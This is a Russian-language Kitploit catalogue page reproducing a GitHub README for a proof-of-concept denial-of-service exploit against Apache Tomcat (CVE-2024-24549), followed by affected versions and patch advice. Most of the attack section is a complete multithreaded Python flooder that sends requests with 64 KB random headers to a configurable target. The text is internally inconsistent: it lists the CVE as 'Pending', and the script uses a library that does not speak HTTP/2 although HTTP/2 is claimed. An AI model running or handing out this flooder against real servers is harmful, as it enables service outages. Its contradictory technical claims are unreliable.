Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-24549 — Эксплойт, подтверждающий концепцию, для CVE-2024-24549 — уязвимости типа «отказ в обслуживании» в Apache Tomcat, вызванной переполнением заголовков HTTP/2. Включает Python-скрипт для тестирования и исчерпания ресурсов. | Kitploit
Инструменты/GitHubGitHub/abdurahmon3236/cve-2024-24549
Анализ уязвимостейЭксплуатацияВеб-безопасностьТестирование на ПроникновениеRed Teaming
GitHubabdurahmon3236/cve-2024-24549

CVE-2024-24549

Эксплойт, подтверждающий концепцию, для CVE-2024-24549 — уязвимости типа «отказ в обслуживании» в Apache Tomcat, вызванной переполнением заголовков HTTP/2. Включает Python-скрипт для тестирования и исчерпания ресурсов.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
101 год назадЕщё не проверено

Вот README.md для Proof of Concept (PoC), демонстрирующего уязвимость типа «Отказ в обслуживании» (DoS) в Apache Tomcat, вызванную некорректной проверкой ввода HTTP/2-запросов:


Proof of Concept (PoC) для уязвимости типа «Отказ в обслуживании» (DoS) в Apache Tomcat

Этот репозиторий содержит скрипт Proof of Concept (PoC), демонстрирующий уязвимость типа «Отказ в обслуживании» (DoS) в Apache Tomcat. Уязвимость возникает из-за некорректной проверки ввода HTTP/2-запросов, что может привести к условиям DoS.

Описание уязвимости

CVE-ID: (Pending)

Обзор: Версии Apache Tomcat с 11.0.0-M1 по 11.0.0-M16, с 10.1.0-M1 по 10.1.18, с 9.0.0-M1 по 9.0.85 и с 8.5.0 по 8.5.98 подвержены атаке типа «Отказ в обслуживании». Проблема возникает при обработке HTTP/2-запросов с заголовками, превышающими настроенные лимиты. Поток HTTP/2 не сбрасывается до тех пор, пока не будут обработаны все заголовки, что потенциально может привести к истощению ресурсов.

Затронутые версии:

  • Apache Tomcat 11.0.0-M1 – 11.0.0-M16
  • Apache Tomcat 10.1.0-M1 – 10.1.18
  • Apache Tomcat 9.0.0-M1 – 9.0.85
  • Apache Tomcat 8.5.0 – 8.5.98

Способы смягчения:

  • Обновление до версий Apache Tomcat 11.0.0-M17, 10.1.19, 9.0.86 или 8.5.99 и выше.

Детали PoC

Этот скрипт PoC демонстрирует, как использовать уязвимость DoS, отправляя HTTP/2-запросы, превышающие настроенные лимиты заголовков. Скрипт отправляет большое количество запросов для истощения ресурсов сервера.

Скрипт PoC

root@kitploit:~
import http.client
import threading
import logging
import time
import random
import string
import argparse
import os

# Configuration defaults
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"

# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

def random_string(length):
    """Generate a random string of fixed length."""
    letters = string.ascii_letters + string.digits
    return ''.join(random.choice(letters) for i in range(length))

def dynamic_payload():
    """Generate a dynamic payload for requests."""
    return random_string(random.randint(10, 100))

def send_request(conn, method, endpoint, headers, payload):
    """Send a single HTTP request."""
    conn.request(method, endpoint, body=payload, headers=headers)
    response = conn.getresponse()
    return response.status, response.reason

def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
    def worker(thread_id):
        conn = None
        try:
            conn = http.client.HTTPSConnection(host, port, timeout=10)
            for i in range(num_requests // concurrent_threads):
                method = random.choice(["GET", "POST"])
                headers = {
                    "Content-Type": "application/x-www-form-urlencoded",
                    "X-Test-Header": random_string(65536)
                }
                payload = dynamic_payload() if method == "POST" else None
                status, reason = send_request(conn, method, "/", headers, payload)
                logging.info(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}")

                with open(log_file, "a") as logf:
                    logf.write(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}\n")

                time.sleep(request_interval)

        except Exception as e:
            logging.error(f"Thread {thread_id} - An error occurred: {e}")
        finally:
            if conn:
                conn.close()

    # Create and start threads
    threads = []
    for i in range(concurrent_threads):
        thread = threading.Thread(target=worker, args=(i + 1,))
        thread.start()
        threads.append(thread)
        time.sleep(0.1)

    for thread in threads:
        thread.join()

    logging.info("Completed sending requests")

def parse_args():
    """Parse command-line arguments."""
    parser = argparse.ArgumentParser(description="HTTP Request Flooder")
    parser.add_argument('--host', default=DEFAULT_HOST, help='Target server address')
    parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target server port')
    parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='Total number of requests to send')
    parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='Number of concurrent threads')
    parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='Interval between requests')
    parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='File to log request results')
    return parser.parse_args()

if __name__ == "__main__":
    args = parse_args()
    logging.info(f"Starting flooder with {args.num_requests} requests to {args.host}:{args.port} using {args.concurrent_threads} threads")
    send_dos_requests(
        host=args.host,
        port=args.port,
        num_requests=args.num_requests,
        concurrent_threads=args.concurrent_threads,
        request_interval=args.request_interval,
        log_file=args.log_file
    )

Пояснение

  1. Конфигурация: Задайте host как адрес целевого сервера, а port — соответствующий порт (обычно 443 для HTTPS). Отрегулируйте num_requests для управления количеством отправляемых запросов.
  2. Создание соединения: Скрипт устанавливает HTTPS-соединение с целевым сервером.
  3. Заголовки: Используется большое значение заголовка, чтобы превысить настроенные лимиты и вызвать уязвимость.
  4. Отправка запросов: Скрипт отправляет множество HTTP/2 POST-запросов с увеличенными заголовками на целевой сервер.
  5. Вывод статуса: Выводит код состояния каждого запроса для отслеживания воздействия.

Важные соображения

  • Разрешения: Убедитесь, что у вас есть явное разрешение на проведение этого теста на целевом сервере. Несанкционированное тестирование незаконно и неэтично.
  • Тестовая среда: Проводите тесты в контролируемой среде, чтобы избежать нарушения работы производственных служб.
  • Этичное использование: Используйте этот PoC ответственно и только в авторизованных контекстах.

Смягчение уязвимости

Чтобы снизить риски этой уязвимости:

  1. Обновите Apache Tomcat: Обновитесь до версий 11.0.0-M17, 10.1.19, 9.0.86 или 8.5.99 и выше.
  2. Проверьте конфигурацию: Настройте конфигурацию сервера для более эффективной обработки больших или вредоносных HTTP/2-запросов.
  3. Мониторинг ресурсов: Внедрите мониторинг для обнаружения и реагирования на необычные шаблоны запросов, которые могут указывать на DoS-атаку.

Для получения дополнительной информации о защите вашей установки Apache Tomcat обратитесь к официальной документации Apache Tomcat.


Этот README.md содержит обзор уязвимости, скрипт PoC и инструкции по смягчению. Убедитесь, что вы используете этот PoC ответственно и только в системах, где у вас есть явное разрешение.

Скачать инструмент